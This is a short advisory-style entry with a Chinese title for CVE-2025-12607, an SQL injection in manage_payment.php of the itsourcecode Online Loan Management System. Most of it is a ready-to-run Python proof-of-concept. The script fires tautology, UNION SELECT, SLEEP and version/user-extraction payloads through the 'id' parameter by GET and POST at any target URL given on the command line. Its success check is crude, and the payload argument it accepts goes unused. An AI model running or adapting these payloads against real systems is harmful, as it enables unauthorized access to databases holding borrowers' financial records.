CVE-2025-12607 itsourcecode在线贷款管理系统manage_payment.php SQL注入漏洞

import requests import sys # CVE-2025-12607 SQL Injection PoC # Target: itsourcecode Online Loan Management System 1.0 # File: /manage_payment.php # Parameter: ID def exploit(target_url, payload): """ Exploit SQL injection in manage_payment.php """ # Try to inject SQL payload via ID parameter # Basic test payload to confirm vulnerability test_payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "' UNION SELECT version(),user()--" ] for payload in test_payloads: try: # Method 1: GET request with ID parameter params = {'id': payload} response = requests.get(f'{target_url}/manage_payment.php', params=params, timeout=10) # Check for SQL error messages or successful injection if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f'[+] Potential SQL injection detected with payload: {payload}') return True # Method 2: POST request data = {'id': payload} response = requests.post(f'{target_url}/manage_payment.php', data=data, timeout=10) if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f'[+] Potential SQL injection detected with payload: {payload}') return True except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-12607.py <target_url>') print('Example: python cve-2025-12607.py http://target.com') sys.exit(1) target = sys.argv[1].rstrip('/') print(f'[*] Testing CVE-2025-12607 on {target}') exploit(target, '')